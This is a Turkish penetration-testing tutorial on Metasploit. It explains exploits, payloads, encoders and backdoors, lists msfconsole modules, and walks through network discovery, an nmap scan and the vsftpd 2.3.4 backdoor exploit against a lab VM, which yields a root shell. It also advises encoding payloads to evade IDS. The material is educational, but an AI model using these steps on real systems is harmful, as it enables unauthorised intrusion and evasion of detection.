

# SİSTEM SALDIRILARI

## SİSTEM SALDIRISI NEDİR?

Sistem saldırıları, ağa bağlı olan ya da olmayan her elektronik cihazlardaki yazılımlara ve donanımlara yönelik yapılan saldırılardır.

## Exploit Nedir?

Exploit terimi istismar etmek, kötüye kullanmak anlamına gelmektedir. Exploit işlemi herhangi bir yazılımı, veri parçasını ya da yazılımlardaki hatalı bir kod satırını kullanarak sistemlere sızma olayıdır.

## Metasploit Framework Kullanımı?

Framework, yazılım geliştiricilerin kullanması için önceden hazırlanmış kütüphanelerin bulunduğu ve bunlara yenilerini ekleyebileceği yapıların adıdır. Türkçe karşılığı iskelettir.

Metasploit, güvenlik zayıflıklarını tanımlayan sızma testi ve IDS (Intrusion Detection Systems=sızma tespit sistemi) verilerini sağlayan bir siber saldırı platformudur. Kali Linux içerisinde hazır bulunan bu framework ile exploit yapılır.

## Metasploit Adımları

Kendi faydamız için kullanacağımız bir sistem açıklığı seçmek ve configure etmek gerekir. Windows, Linux ve Mac OS X işletim sistemleri bünyesinde yaklaşık 900 çeşit sistem açıklığı bulunmaktadır.

Seçilen açıklığın hedeflenen sistemdeki uygunluğunun tespitini yapmalıyız.

Bir payload seçmeli ve bunun konfigürasyonlarını yapmalıyız.

Payload: Hedef sisteme exploit doğru bir şekilde uygulandıktan sonra hedefe yollanıp çalıştırılması istenen modüle verilen addır. Bu modül aracılığı ile karşı taraf ile bağlantımız sağlanmış olup girmemiz gereken komutları bizden bekler ve kendisi aracılığı ile açmış olduğumuz servise gönderir ve karşı tarafta çalışması sağlar.

IDS tarafından saptanamayacak bir Encoding tekniği seçmeliyiz. Aksi takdirde suçüstü yakalanırız. Artık hazır olduğumuza göre Exploiti çalıştırarak sızmayı başlatabiliriz.

# Msfconsole

Kali işletim sistemlerinde hazır olarak bulunan metasploit modülü konsoldan Msfconsole komutu ile çalıştırılabilir. Temel metasploit komutları her Linux işletim sistemi konsolun da olduğu gibi help komutu ile listelenebilir.

# Metasploit Modüller

- 1) Shell Codes (Kabuk Kodlar):** Kabuk kodlar adından anlaşılabilceği gibi exploit işlemi yapılan hedef sistem de çalıştırılan kodlar bütünüdür. Bu kodlar açıklığın kullanılması ile hedef sistemdeki bir portu dinlemek, sistemdeki bir porta doğrudan bağlanmak veya daha önce kurulan bağlantı aracılığıyla sistemle iletişime geçmeyi sağlar.
- 2) Encoders (Kodlayıcılar):** Kabuk kodu kullanımından sonra ya da kullanım sırasında belirlenen güvenlik açığı seviyesine bağlı olarak birtakım sorunlar oluşabilir. Bu sorunları kodlayıcılar ile kabuk kodların değiştirilip sisteme yeniden gönderilmesiyle çözmeye çalışılır.
- 3) Auxiliary:** Metasploit bünyesinde bilgi toplamak için port taraması yapmak, servis bilgilerini toplamak, güvenlik açıklarını tanımlamak için Auxiliary modülü kullanılır.

# Metasploit ve Msfconsole Uygulaması

Terminale-> msfconsole komutu yazıldı.

[illegible]

-help komutu: şekildeki bir sürü komutu verdi. Amacımıza uygun olanları belirleyip, başlayabiliriz.

```
msf6 > help

Core Commands
=====

```

Command	Description
?	Help menu
banner	Display an awesome metasploit banner
cd	Change the current working directory
color	Toggle color
connect	Communicate with a host
debug	Display information useful for debugging
exit	Exit the console
features	Display the list of not yet released features that can be opt
ed in to	
get	Gets the value of a context-specific variable
getg	Gets the value of a global variable
grep	Grep the output of another command
help	Help menu
history	Show command history
load	Load a framework plugin
quit	Exit the console
repeat	Repeat a list of commands
route	Route traffic through a session
save	Saves the active datastores
sessions	Dump session listings and display information about sessions
set	Sets a context-specific variable to a value
setg	Sets a global variable to a value
sleep	Do nothing for the specified number of seconds

Encoders:

```
msf6 > show encoders

Encoders
=====

```

#	Name	Disclosure Date	Rank	Check	Descrip
0	cmd/brace		low	No	Bash Br
1	cmd/echo		good	No	Echo Co
2	cmd/generic_sh		manual	No	Generic

- 
- 
-



Show Payload: Hedef sistemin işletim sistemine göre seçim yapılır.

windows/x64/meterpreter/reverse_tcp	normal	Windows Meterpreter (Reflective Injection x64), Windows x64
Reverse TCP Stager		
windows/x64/meterpreter/reverse_tcp_uuid	normal	Windows Meterpreter (Reflective Injection x64), Reverse TCP
Stager with UUID Support (Windows x64)		
windows/x64/meterpreter/reverse_winhttp	normal	Windows Meterpreter (Reflective Injection x64), Windows x64
Reverse HTTP Stager (winhttp)		
windows/x64/meterpreter/reverse_winhttps	normal	Windows Meterpreter (Reflective Injection x64), Windows x64
Reverse HTTPS Stager (winhttps)		
windows/x64/meterpreter/bind_tcp	normal	Windows Meterpreter Shell, Bind TCP Inline (x64)
windows/x64/meterpreter/reverse_http	normal	Windows Meterpreter Shell, Reverse HTTP Inline (x64)
windows/x64/meterpreter/reverse_https	normal	Windows Meterpreter Shell, Reverse HTTPS Inline (x64)
windows/x64/meterpreter/reverse_ipv6_tcp	normal	Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)
windows/x64/meterpreter/reverse_tcp	normal	Windows Meterpreter Shell, Reverse TCP Inline x64
windows/x64/powershell/bind_tcp	normal	Windows Interactive Powershell Session, Bind TCP
windows/x64/powershell/reverse_tcp	normal	Windows Interactive Powershell Session, Reverse TCP
windows/x64/shell/bind_ipv6_tcp	normal	Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager
windows/x64/shell/bind_ipv6_tcp_uuid	normal	Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager
with UUID Support		
windows/x64/shell/bind_tcp	normal	Windows x64 Command Shell, Windows x64 Bind TCP Stager
windows/x64/shell/bind_tcp_uuid	normal	Windows x64 Command Shell, Bind TCP Stager with UUID Support
(Windows x64)		
windows/x64/shell/reverse_tcp	normal	Windows x64 Command Shell, Windows x64 Reverse TCP Stager
windows/x64/shell/reverse_tcp_uuid	normal	Windows x64 Command Shell, Reverse TCP Stager with UUID Support
ort (Windows x64)		
windows/x64/shell/bind_tcp	normal	Windows x64 Command Shell, Bind TCP Inline
windows/x64/shell/reverse_tcp	normal	Windows x64 Command Shell, Reverse TCP Inline
windows/x64/vncinject/bind_ipv6_tcp	normal	Windows x64 VNC Server (Reflective Injection), Windows x64 I

Show Auxiliary:

spool/replay/pcap_replay		normal	Pcap Replay Utility
sql/oracle/dbms_cdc_ipublish	2008-10-22	normal	Oracle DB SQL Injection via SYS.DBMS_CDC_IPUBLISH
ALTER_HOTLOG_INTERNAL_CSOURCE			
sql/oracle/dbms_cdc_publish	2008-10-22	normal	Oracle DB SQL Injection via SYS.DBMS_CDC_PUBLISH.
ALTER_AUTOLOG_CHANGE_SOURCE			
sql/oracle/dbms_cdc_publish2	2010-04-26	normal	Oracle DB SQL Injection via SYS.DBMS_CDC_PUBLISH.
DROP_CHANGE_SOURCE			
sql/oracle/dbms_cdc_publish3	2010-10-13	normal	Oracle DB SQL Injection via SYS.DBMS_CDC_PUBLISH.
CREATE_CHANGE_SET			
sql/oracle/dbms_cdc_subscribe_activate_subscription	2005-04-18	normal	Oracle DB SQL Injection via SYS.DBMS_CDC_SUBSCRIB
E.ACTIVATE_SUBSCRIPTION			
sql/oracle/dbms_export_extension	2006-04-26	normal	Oracle DB SQL Injection via DBMS_EXPORT_EXTENSION
sql/oracle/dbms_metadata_get_granted_xml	2008-01-05	normal	Oracle DB SQL Injection via SYS.DBMS_METADATA.GET
_GRANTED_XML			
sql/oracle/dbms_metadata_get_xml	2008-01-05	normal	Oracle DB SQL Injection via SYS.DBMS_METADATA.GET
_XML			
sql/oracle/dbms_metadata_open	2008-01-05	normal	Oracle DB SQL Injection via SYS.DBMS_METADATA.OPE
N			
sql/oracle/droptable_trigger	2009-01-13	normal	Oracle DB SQL Injection in MDSYS.SDO_TOPO_DROP_FT
BL Trigger			
sql/oracle/jvm_os_code_10g	2010-02-01	normal	Oracle DB 10gR2, 11gR1/R2 DBMS_JVM_EXP_PERMS OS C
ommand Execution			
sql/oracle/jvm_os_code_11g	2010-02-01	normal	Oracle DB 11g R1/R2 DBMS_JVM_EXP_PERMS OS Code Ex
ecution			
sql/oracle/lt_compressworkspace	2008-10-13	normal	Oracle DB SQL Injection via SYS.LT.COMPRESSWORKSP
ACE			
sql/oracle/lt_findricset_cursor	2007-10-17	normal	Oracle DB SQL Injection via SYS.LT.FINDRICSET Evi
l Cursor Method			
sql/oracle/lt_mergeworkspace	2008-10-22	normal	Oracle DB SQL Injection via SYS.LT.MERGEWORKSPACE
sql/oracle/lt_removeworkspace	2008-10-13	normal	Oracle DB SQL Injection via SYS.LT.REMOVEWORKSPACE
E			

Show Exploit:

windows/sntp/sysgauge_client_bof	2017-02-28	normal	SysGauge SMTP Validation Buffer Overflow
windows/sntp/vmailserver	2005-07-11	average	SoftiaCom VMailserver 1.0 Buffer Overflow
windows/sntp/ypops_overflow1	2004-09-27	average	YPOPS 0.6 Buffer Overflow
windows/ssh/FreeFTPd_key_exchange	2006-05-12	average	FreeFTPd 1.0.10 Key Exchange Algorithm Stri
ng Buffer Overflow			
windows/ssh/FreeSSHd_authbypass	2010-08-11	excellent	FreeSSHd Authentication Bypass
windows/ssh/FreeSSHd_key_exchange	2006-05-12	average	FreeSSHd 1.0.9 Key Exchange Algorithm Strin
g Buffer Overflow			
windows/ssh/putty_msg_debug	2002-12-16	normal	PUTTY Buffer Overflow
windows/ssh/SecureCRT_ssh1	2002-07-23	average	SecureCRT SSH1 Buffer Overflow
windows/ssh/sysax_ssh_username	2012-02-27	normal	Sysax 5.53 SSH Username Buffer Overflow
windows/ssl/ms04_011_pct	2004-04-13	average	MS04-011 Microsoft Private Communications T
ransport Overflow			
windows/telnet/gamsoft_telsrv_username	2000-07-17	average	GAMSoft TelSrv 1.5 Username Buffer Overflow
windows/telnet/goodtech_telnet	2005-03-15	average	GoodTech Telnet Server Buffer Overflow
windows/tftp/attftp_long_filename	2006-11-27	average	Allied Telesyn TFTP Server 1.9 Long Filenam
e Overflow			
windows/tftp/distinct_tftp_traversal	2012-04-08	excellent	Distinct TFTP 3.10 Writable Directory Trave
rsal Execution			
windows/tftp/dlink_long_filename	2007-03-12	good	D-Link TFTP 1.0 Long Filename Buffer Overfl
ow			

## Search FTP:

exploit/windows/ftp/wsftp_server_505_xmd5	2006-09-14	average	Ipswitch WS FTP Server 5.05 XMD5 Overflow
exploit/windows/ftp/xftp_client_pwd	2010-04-22	normal	Xftp FTP Client 3.0 PWD Remote Buffer Overflow
exploit/windows/ftp/xlink_client	2009-10-03	normal	Xlink FTP Client Buffer Overflow
exploit/windows/ftp/xlink_server	2009-10-03	good	Xlink FTP Server Buffer Overflow
exploit/windows/http/easyfilesharing_post	2017-06-12	normal	Easy File Sharing HTTP Server 7.2 POST Buffer Overflow
exploit/windows/http/easyfilesharing_seh	2015-12-02	normal	Easy File Sharing HTTP Server 7.2 SEH Overflow
exploit/windows/http/easyftp_list	2010-02-18	great	EasyFTP Server list.html path Stack Buffer Overflow
exploit/windows/http/httpdpx_tolog_format	2009-11-17	great	HTTPDpx tolog() Function Format String Vulnerability
exploit/windows/local/pxeexploit	2011-08-05	excellent	PXE Exploit Server
exploit/windows/misc/altiris_ds_sql	2008-05-15	normal	Symantec Altiris DS SQL Injection
exploit/windows/misc/netcatll0_nt	2004-12-27	great	Netcat v1.10 NT Stack Buffer Overflow
exploit/windows/mssql/mssql_payload	2000-05-30	excellent	Microsoft SQL Server Payload Execution
exploit/windows/mssql/mssql_payload_sql	2000-05-30	excellent	Microsoft SQL Server Payload Execution via SQL Injection
exploit/windows/novell/zenworks_preboot_op21_bof	2010-03-30	normal	Novell ZENworks Configuration Management Preboot Service
0x21 Buffer Overflow			
exploit/windows/ssh/ftpsftp_key_exchange	2006-05-12	average	FreeFTPD 1.0.10 Key Exchange Algorithm String Buffer Over
flow			
exploit/windows/tftp/attftp_long_filename	2006-11-27	average	Allied Telesyn TFTP Server 1.9 Long Filename Overflow
exploit/windows/tftp/distinct_tftp_traversal	2012-04-08	excellent	Distinct TFTP 3.10 Writable Directory Traversal Execution
exploit/windows/tftp/dlink_long_filename	2007-03-12	good	D-Link TFTP 1.0 Long Filename Buffer Overflow
exploit/windows/tftp/futuresoft_transfermode	2005-05-31	average	FutureSoft TFTP Server 2000 Transfer-Mode Overflow
exploit/windows/tftp/netdecision_tftp_traversal	2009-05-16	excellent	NetDecision 4.2 TFTP Writable Directory Traversal Executi
on			

## Use:

```
msf6 > use auxiliary/scanner/ssh/ssh_version
msf6 auxiliary(scanner/ssh/ssh_version) > info

Name: SSH Version Scanner
Module: auxiliary/scanner/ssh/ssh_version
License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
Daniel van Eeden <metasploit@myname.nl>
```

## Options:

```
msf6 auxiliary(scanner/ssh/ssh_version) > options

Module options (auxiliary/scanner/ssh/ssh_version):



| Name    | Current Setting | Required | Description                                                                        |
|---------|-----------------|----------|------------------------------------------------------------------------------------|
| RHOSTS  |                 | yes      | The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' |
| RPORT   | 22              | yes      | The target port (TCP)                                                              |
| THREADS | 1               | yes      | The number of concurrent threads (max one per host)                                |
| TIMEOUT | 30              | yes      | Timeout for the SSH probe                                                          |



msf6 auxiliary(scanner/ssh/ssh_version) > █
```

## Set:

```
msf6 auxiliary(scanner/ssh/ssh_version) > set RHOST 192.168.1.5
RHOST => 192.168.1.5
```

Vazgeçtiğimizde ya da yanlış girdiğimizde-> unset:

```
msf6 auxiliary(scanner/ssh/ssh_version) > unset RHOSTS
Unsetting RHOSTS ...
msf6 auxiliary(scanner/ssh/ssh_version) > █
```

Modülden çıkma-> back:

```
msf6 auxiliary(scanner/ssh/ssh_version) > back
msf6 >
```

## Hedef Sisteme Sızma

IP öğrenme:

```
(root@kali)-[~]
# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
```

Ağıdaki cihazları keşfetme: netdiscover -r 192.168.220.0/24

```
Currently scanning: Finished! | Screen View: Unique Hosts
4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240

-----
IP                At MAC Address      Count  Len  MAC Vendor / Hostname
-----
192.168.220.1     00:50:56:c0:00:08    1      60  VMware, Inc.
192.168.220.2     00:50:56:ea:b5:c6    1      60  VMware, Inc.
192.168.220.137  00:0c:29:23:6d:c3    1      60  VMware, Inc.
192.168.220.254  00:50:56:f3:23:5b    1      60  VMware, Inc.
```

Ağımızdaki cihazın ip'si: 192.168.220.137

Nmap açma: Açık portlar listelendi.

```
root@kali:~# nmap -sS -sV -A --top-ports 2000 192.168.220.137
Starting Nmap 7.60 ( https://nmap.org ) at 2018-04-30 16:01 +03
```

```
Starting Nmap 7.60 ( https://nmap.org ) at 2018-04-30 16:01 +03
Nmap scan report for 192.168.220.137
Host is up (0.0028s latency).
Not shown: 1975 closed ports
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
|_ ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ ftp-syst:
|   STAT:
|   FTP server status:
|     Connected to 192.168.220.129
|     Logged in as ftp
|     TYPE: ASCII
|     No session bandwidth limit
|     Session timeout in seconds is 300
|     Control connection is plain text
|     Data connections will be plain text
|     vsFTPd 2.3.4 - secure, fast, stable
|_ End of status
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
|_ ssh-hostkey:
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|   2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp    open  telnet       Linux telnetd
```



## FTP araştırma: version kopyala (vsftpd 2.3.4)

The screenshot shows a web browser window displaying the Rapid7 Vulnerability & Exploit Database. The page title is "VSFTPD v2.3.4 Backdoor Command Execution". The URL is "https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd\_234\_backdoor". The page content includes a description of the backdoor, the module name "exploit/unix/ftp/vsftpd\_234\_backdoor", and the authors "hdm <x [at] hdm.io>" and "MC <mc [at] metasploit.cc>". A context menu is open over the module name, showing options like "Copy", "Select All", "Search Google for 'exploit/unix/ft...'", "View Selection Source", and "Inspect Element (Q)". A "Free Metasploit Download" button is also visible.

VSFTPD v2.3.4 Backdoor Command Execution | Rapid7 - Mozilla Firefox

VSFTPD v2.3.4 Backd... x +

https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd\_234\_backdoor

vsftpd 2.3.4 exploit

Most Visited Offensive Security Kali Linux Kali Docs Kali Tools Exploit-DB Aircrack-ng Kali Forums NetHunter Getting Started

Sign In

About For Customers Free Tools

# Vulnerability & Exploit Database

Back to search

## VSFTPD v2.3.4 Backdoor Command Execution

This module exploits a malicious backdoor that was added to the VSFTPD download archive. This backdoor was introduced into the vsftpd-234.tar.gz archive between June 30th 2011 and July 1st 2011 according to the most recent information available. This backdoor was removed on July 3rd 2011.

### Module Name

exploit/unix/ftp/vsftpd\_234\_backdoor

### Authors

hdm <x [at] hdm.io>  
MC <mc [at] metasploit.cc>

Copy  
Select All  
Search Google for "exploit/unix/ft..."  
View Selection Source  
Inspect Element (Q)

### Free Metasploit Download

Get your copy of the world's leading penetration testing tool

DOWNLOAD NOW

Kopyaladığımız bilgiyi msfconsole kullanma:

The screenshot shows a terminal window with the prompt "(root@kali)-[~]". The user has entered "msfconsole". The terminal displays the Metasploit interface with a title bar "METASPLOIT by Rapid7". The interface is divided into four quadrants: "RECON" (top-left), "EXPLOIT" (top-right), "PAYLOAD" (bottom-left), and "LOOT" (bottom-right). The "EXPLOIT" quadrant shows the command "[msf >]" and a list of available exploits. The "PAYLOAD" quadrant shows a list of available payloads. The "LOOT" quadrant shows a list of available loot. At the bottom, the terminal displays the command "msfconsole v6.0.30-dev" and the output "2099 exploits - 1129 auxiliary - 357 post".

```
(root@kali)-[~]
# msfconsole

METASPLOIT by Rapid7

=====
|                                     |
|  RECON                             |
|                                     |
|  EXPLOIT                           |
|  [msf >]                           |
|  (a)(a)(a)(a)(a)(a)(a)(a)(a)(a)  |
|  *****                          |
|                                     |
|  PAYLOAD                           |
|  (a)(a)""""**|(a)(a)**|(a)(a)    |
|  =====                          |
|                                     |
|  LOOT                              |
|  (a)(a)(a)(a)(a)(a)(a)(a)(a)(a)  |
|  =====                          |
|                                     |
|  =====                          |
|  [msfconsole v6.0.30-dev]          |
|  + -- --[ 2099 exploits - 1129 auxiliary - 357 post ]
```

## Use exploit/unix/tftp/vsftpd\_234\_backdoor

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  --      -
  RHOSTS    21               yes       The target host(s), range CIDR identifier, or h
  RPORT     21               yes       The target port (TCP)

Payload options (cmd/unix/interact):

  Name      Current Setting  Required  Description
  --      -

Exploit target:

  Id  Name
  --  -
```

set RHOST 192.168.220.137

exploit

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.220.137
RHOST => 192.168.220.137
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.220.137:21 - Banner: 220 (vsFTPd 2.3.4) (protocol 2.0)
[*] 192.168.220.137:21 - USER: 331 Please specify the password.
[*] 192.168.220.137:21 - Backdoor service has been spawned, handling...
[*] 192.168.220.137:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.220.129:39193 -> 192.168.220.137:6200) at 2018-04-30 16:14:11 +0300
```

ls:

```
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
```



root geçiř yapalım:

```
cd root
ls
Desktop
reset_logs.sh
vnc.log
```

pwd:

```
pwd
/root
^C
Abort session 2? [y/N] y
```

## Backdoor (Arka Kapi) Nedir?

Bilgisayar sistemlerin güvenlik önlemlerini bypass etmek için kullanılan oldukça etkili bir yöntemdir. Bilgisayar sistemlerinde backdoor açılarak yönetici yetkileri devredilebilir ve sistemler her türlü tehlikeye karşı açık hale getirilebilir.

Bizim senaryomuzda Reverse TCP metodu yani hedef sistemin kendisine saldıran sisteme istek göndermesi yolu ile bağlantı kurmak amaçlanıyor. Daha sonra saldıran sistemde Meterpreter oluşuyor ve saldırı için en önemli adım kurulmuş oluyor.

Backdoor sınıflandırılması:

### 1) Yazılımsal hatalar sonucu oluşan Backdoorlar

Yazılım geliştiren kişi ya da kurumlar kodlama sırasında eksiklerinden dolayı yazılımlarda görülen backdoorlar oluşmaktadır. Bu backdoorlar siyah şapkalı hackerler tarafından sisteme sızmak için kullanılır.

### 2) Üreticilerin planlı olarak açtığı Backdoorlar

Donanım ya da yazılım üreten kişi ya da kurumların bilerek oluşturduğu backdoorlardır. Üreticiler bu backdoorlar açıklamazlar.

### 3) Zararlı yazılımlara açılan Backdoorlar

Bilgisayar sistemlerinde 3. şahıs kişiler tarafından çalıştırılan ve sızılan yazılımlardır. MYDOOM, SubSeven gibi yazılımlardır.



# KAYNAKÇA

Bilgeiř “Sızma Testine Giriř” eđitimi.

